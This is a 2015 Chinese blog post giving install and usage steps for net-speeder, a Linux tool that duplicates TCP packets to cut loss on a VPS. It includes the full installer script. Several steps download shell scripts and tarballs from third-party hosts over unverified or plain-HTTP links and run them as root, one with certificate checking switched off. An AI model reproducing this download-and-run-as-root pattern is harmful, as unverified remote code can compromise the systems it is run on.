1、作者项目主页,https://code.google.com/p/net-speeder/ 

已经迁移到github了:https://github.com/snooda/net-speeder (作者主页也有教程)

安装步骤如下:

安装脚本

获得安装包: wget http://linux.linzhihao.cn/shell/netspeeder.sh

运行安装包:sh netspeeder.sh

然后再看看进程,如果能找到net_speeder ,说明它正在运行,安装就成功了


使用方法(需要root权限启动):

参数:./net_speeder 网卡名 加速规则(bpf规则)

最简单用法: # ./net_speeder venet0 "ip" 加速所有ip协议数据

关闭net_speeder方法:killall net_speeder

2、net-speeder是一个由snooda.com博主写的Linux脚本程序,主要目的是为了解决丢包问题,实现TCP双倍发送,即同一份数据包发送两份。这样的话在服务器带宽充足情况下,丢包率会平方级降低。

3、net-speeder对于不加速就可以跑满带宽的类型来讲(多线程下载),开启后反而由于多出来的无效流量,导致速度减半,性能开销稍大和自由度有损失。所以,如果你的VPS连接国内速度一切正常,请不要启用net-speeder。

4、安装net-speeder的方法也很简单,这里提供由lazyzhu.com博主写的net-speeder一键安装包。执行以下命令:

 wget --no-check-certificate https://gist.github.com/LazyZhu/dc3f2f84c336a08fd6a5/raw/d8aa4bcf955409e28a262ccf52921a65fe49da99/net_speeder_lazyinstall.sh
sh net_speeder_lazyinstall.sh

       00.gif


5、日后如果一键安装脚本下载链接失效了,这里给出脚本的具体内容,大家可以将将它保存为.sh文件,然后就可以执行了。

#!/bin/sh

# Set Linux PATH Environment Variables
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH

# Check If You Are Root
if [ $(id -u) != "0" ]; then
    clear
    echo -e "\033[31m Error: You must be root to run this script! \033[0m"
    exit 1
fi

if [ $(arch) == x86_64 ]; then
    OSB=x86_64
elif [ $(arch) == i686 ]; then
    OSB=i386
else
    echo "\033[31m Error: Unable to Determine OS Bit. \033[0m"
    exit 1
fi
if egrep -q "5.*" /etc/issue; then
    OST=5
    wget http://dl.fedoraproject.org/pub/epel/5/${OSB}/epel-release-5-4.noarch.rpm
elif egrep -q "6.*" /etc/issue; then
    OST=6
    wget http://dl.fedoraproject.org/pub/epel/6/${OSB}/epel-release-6-8.noarch.rpm
else
    echo "\033[31m Error: Unable to Determine OS Version. \033[0m"
    exit 1
fi

rpm -Uvh epel-release*rpm
yum install -y libnet libnet-devel libpcap libpcap-devel gcc

wget http://net-speeder.googlecode.com/files/net_speeder-v0.1.tar.gz -O -|tar xz
cd net_speeder
if [ -f /proc/user_beancounters ] || [ -d /proc/bc ]; then
    sh build.sh -DCOOKED
    INTERFACE=venet0
else
    sh build.sh
    INTERFACE=eth0
fi

NS_PATH=/usr/local/net_speeder
mkdir -p $NS_PATH
cp -Rf net_speeder $NS_PATH

echo -e "\033[36m net_speeder installed. \033[0m"
echo -e "\033[36m Usage: nohup ${NS_PATH}/net_speeder $INTERFACE \"ip\" >/dev/null 2>&1 & \033[0m"



5、安装完成后,会给出脚本用法,最简单的就是开启所有IP协议加速。执行以下命令:

nohup /usr/local/net_speeder/net_speeder venet0 "ip" >/dev/null 2>&1 &

6、net-speeder对于VPS速度有没有优化?就我自己的测试来看,速度和ping值都有所提升,但是流量也是双倍呀!所以对于流量吃紧的童鞋们来说,就别尝试了。。。当然,流量多的就无视。


admin 发布于  2015-10-18 22:47